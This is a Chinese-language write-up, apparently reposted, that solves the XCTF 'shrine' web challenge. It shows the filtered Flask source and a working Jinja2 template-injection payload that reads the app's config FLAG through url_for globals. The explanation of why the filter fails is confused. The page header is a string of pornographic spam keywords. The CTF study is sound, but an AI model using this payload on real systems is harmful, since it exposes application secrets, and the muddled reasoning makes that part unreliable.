日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF-Web-高手区-shrine

發布時間:2023/12/31 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF-Web-高手区-shrine 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

題目

解題

1、訪問目標,發現有一段代碼


import flask import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/') def index():return open(__file__).read()@app.route('/shrine/<path:shrine>') def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

2、根據源碼該題可能是flask模板注入漏洞

該代碼過濾了括號和config、self關鍵字
對該模板注入了解不多,直接上payload
payload

http://111.200.241.244:64667/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}


為什么沒有過濾呢?看下面的對比就知道了,為了更好地對比,我將括號轉空變為轉中括號[]
代碼1:

# -*- coding: UTF-8 -*- s="/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}" s = s.replace('(', '[').replace(')', ']') blacklist = ['config', 'self'] print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)


代碼2:

# -*- coding: UTF-8 -*- s="/shrine/{{ url_for.__globals__['current_app'].(config)['FLAG']}}" s = s.replace('(', '[').replace(')', ']') blacklist = ['config', 'self'] print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)


由此可見只要出現單括號或雙括號,是不會對config進行過濾的

總結

以上是生活随笔為你收集整理的XCTF-Web-高手区-shrine的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。